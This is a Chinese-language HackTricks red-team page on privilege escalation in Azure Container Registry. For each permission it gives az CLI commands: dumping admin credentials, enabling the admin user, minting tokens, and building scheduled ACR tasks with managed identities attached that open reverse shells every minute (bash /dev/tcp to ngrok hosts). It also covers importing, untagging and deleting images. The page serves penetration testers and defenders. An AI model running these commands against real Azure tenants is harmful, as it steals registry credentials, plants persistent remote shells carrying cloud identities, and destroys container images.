Az - Azure Container Registry Privesc

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Azure Container Registry

更多信息请查看:

Az - Container Registry

Microsoft.ContainerRegistry/registries/listCredentials/action

此权限允许用户列出 ACR 的管理员凭据。这对于获得对注册表的完全访问非常有用。

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"

如果管理员凭据未启用,您还需要权限 Microsoft.ContainerRegistry/registries/write 来启用它们:

az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'

Microsoft.ContainerRegistry/registries/tokens/write, Microsoft.ContainerRegistry/registries/generateCredentials/action

这些权限允许用户创建一个新的令牌,以访问注册表。

要使用 az cli 生成它,如以下示例所示,您还需要权限 Microsoft.ContainerRegistry/registries/readMicrosoft.ContainerRegistry/registries/scopeMaps/readMicrosoft.ContainerRegistry/registries/tokens/operationStatuses/readMicrosoft.ContainerRegistry/registries/tokens/read

az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin

Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action, Microsoft.ContainerRegistry/registries/scheduleRun/action, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action

这些权限允许用户在注册表中构建和运行映像。这可以用来在容器中执行代码

Warning

然而,映像将在沙箱环境中执行,并且无法访问元数据服务。这意味着容器将无法访问实例元数据,因此这实际上对提升权限并没有什么用。

# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null

Microsoft.ContainerRegistry/registries/tasks/write

这是允许在注册表中创建和更新任务的主要权限。这可以用来在附加了托管身份的容器内执行代码

这是如何在附加了系统托管身份的容器中执行反向 shell 的示例:

az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"

另一种从任务中获取 RCE 而不使用外部存储库的方法是使用 az acr task create 命令和 --cmd 标志。这将允许您在容器中运行命令。例如,您可以使用以下命令运行反向 shell:

az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity

Tip

请注意,分配系统托管身份时不需要任何特殊权限,但必须在注册表中先启用并分配一些权限,以便其有效。

要分配用户托管身份,您还需要权限Microsoft.ManagedIdentity/userAssignedIdentities/assign/action来执行:

az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"

更新现有任务的仓库,您可以执行:

az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git

Microsoft.ContainerRegistry/registries/importImage/action

拥有此权限可以将图像导入到 Azure 注册表,即使没有本地图像。但是,请注意,您无法导入已在注册表中存在的标签的图像

# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import

为了取消标记或删除特定的镜像标签,您可以使用以下命令。请注意,您需要具有足够权限的用户或令牌才能执行此操作:

az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>

az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks